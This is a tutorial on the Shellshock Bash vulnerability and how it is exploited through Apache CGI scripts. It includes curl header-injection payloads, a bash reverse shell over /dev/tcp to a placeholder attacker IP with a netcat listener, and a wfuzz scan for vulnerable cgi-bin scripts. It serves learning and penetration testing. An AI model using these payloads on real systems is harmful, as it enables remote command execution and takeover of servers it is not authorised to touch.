Exploiting CGI Scripts with Shellshock
What is Shellshock?
Shellshock is a critical bug in Bash versions 1.0.3 - 4.3 that can enable an attacker to execute arbitrary commands.
Vulnerable versions of Bash incorrectly execute commands that follow function definitions stored inside environment variables - this can be exploited by an attacker in systems that store user input in environment variables.
Example
$ env x='() { :;}; echo vulnerable' bash -c "echo test"
Vulnerable Bash behavior
Vulnerable versions of Bash interpret x='() { :;};'
as a function definition for a function named x
. The function body is simply :
(colon), which is a Bash-builtin that does nothing and returns with exit code 0. While importing the function, it also executes the code following it - echo vulnerable
.
The overall output is:
vulnerable
test
Patched Bash behavior
The behavior on patched systems differ in two ways:
- Bash no longer executes code following a function definition when it is imported.
- Bash no longer generally interprets the
x=() {...}
environment variable as a function definition. Function definitions in environment variables are now required to be prefixed withBASH_FUNC_
. Exporting functions withexport -f x
will now set a environment variableBASH_FUNC_x%%=() {...}
instead of simplyx=() {...}
.
Only test
will be printed:
test
Why are web servers vulnerable to Shellshock?
Some web servers (including Apache) support the Common Gateway Interface (CGI) specification which allows CLI programs to be used to generate dynamic pages.
Request information e.g. query parameters, user agent, etc. is stored in environment variables. Standard output from the program is returned to the user as the HTTP response.
Example
The following example is with Apache web server with CGI enabled (run sudo a2enmod cgi
).
Create hello.sh
in /usr/lib/cgi-bin
(default cgi-bin
script directory):
#!/bin/bash
echo "Content-type: text/html"
echo
echo "hello", $HTTP_USER_AGENT
HTTP headers and the HTTP body are separated by an empty line.
Send a request via curl
:
$ curl -H "User-agent: myuseragent" http://localhost/cgi-bin/hello.sh
hello, myuseragent
We can see that the user agent header is stored in the $HTTP_USER_AGENT
environment variable (note: printing the user agent is not required for Shellshock to work).
We can set the user agent to a function definition to exploit Shellshock:
$ curl -H "User-agent: () { :;}; echo; echo vulnerable" http://localhost/cgi-bin/hello.sh
vulnerable
...
On a vulnerable system, the code following the function definition is executed with permissions of the user running Apache.
Other headers which are stored as environment variables include Accept
and Accept-language
.
Reverse shell
The easiest way to gain full control is to use Shellshock to open a reverse shell.
We can start a netcat
listener on our computer on port 443:
$ nc -nlvp 443
Then we can send a request to the target to make it connect back to our computer:
curl -i -H "User-agent: () { :;}; /bin/bash -i >& /dev/tcp/xx.xx.xx.xx/443 0>&1" http://localhost/cgi-bin/hello.sh
/dev/tcp/[ip]/[port]
is a special pseudo-device file that opens a TCP connection to [ip]:[port]
and sends data when written to it.
We are starting an instance of Bash and redirecting standard input/output/error to our computer. This allows us to execute arbitrary commands remotely and see the output.
There is also a Python script available from exploit-db and a metasploit module.
How can we check if a web server is vulnerable?
Wfuzz can both enumerate cgi-bin
scripts (using a wordlist) and test them for Shellshock:
$ wfuzz -v -c -H "User-agent: () { :;}; echo; echo vulnerable" --ss vulnerable -t 50 -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt http://xx.xx.xx.xx/FUZZ
-v
verbose output-c
colored output-H "User-agent: () { :;}; echo; echo vulnerable"
add a Shellshock user-agent header that prints 'vulnerable'--ss vulnerable
filter results that contains the word 'vulnerable' (actually interpreted as regex) in the response-t 50
50 concurrent connections-w /usr/share/seclists/Discovery/Web-Content/CGIs.txt
use wordlist from Seclistshttp://xx.xx.xx.xx/FUZZ
our target
Once we have confirmed that a target is vulnerable, we can send a reverse shell payload as described in the previous section.